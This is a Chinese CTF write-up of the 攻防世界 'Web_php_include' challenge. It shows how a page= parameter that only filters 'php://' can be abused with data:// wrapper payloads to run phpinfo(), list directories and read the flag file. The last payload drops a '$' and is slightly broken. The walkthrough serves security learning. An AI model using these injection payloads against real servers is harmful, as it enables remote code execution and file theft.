32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
hhcccchh几秒前
学习vue第八天 Vue3 模板语法和内置指令 - 简单入门
前端·vue.js·学习
浩瀚地学14 分钟前
【Java】异常
java·开发语言·经验分享·笔记·学习
Groundwork Explorer19 分钟前
WSL Python Kivy Buildozer APK打包笔记
笔记
gravity_w37 分钟前
UV常用命令总结
经验分享·笔记·uv
Nan_Shu_6141 小时前
学习: Threejs (3)& Threejs (4)
学习
2503_946971861 小时前
【CTI/IAM】2026年度威胁情报分析与身份隔离架构基准索引 (Benchmark Index)
网络安全·系统架构·数据集·身份管理·威胁情报
koo3641 小时前
pytorch深度学习笔记9
pytorch·笔记·深度学习
日更嵌入式的打工仔2 小时前
Ehercat代码解析中文摘录<9>
笔记·ethercat
Data-Miner2 小时前
精品可编辑PPT | 大模型与智能体安全风险治理与防护
安全
IT=>小脑虎2 小时前
2026版 Python零基础小白学习知识点【基础版详解】
开发语言·python·学习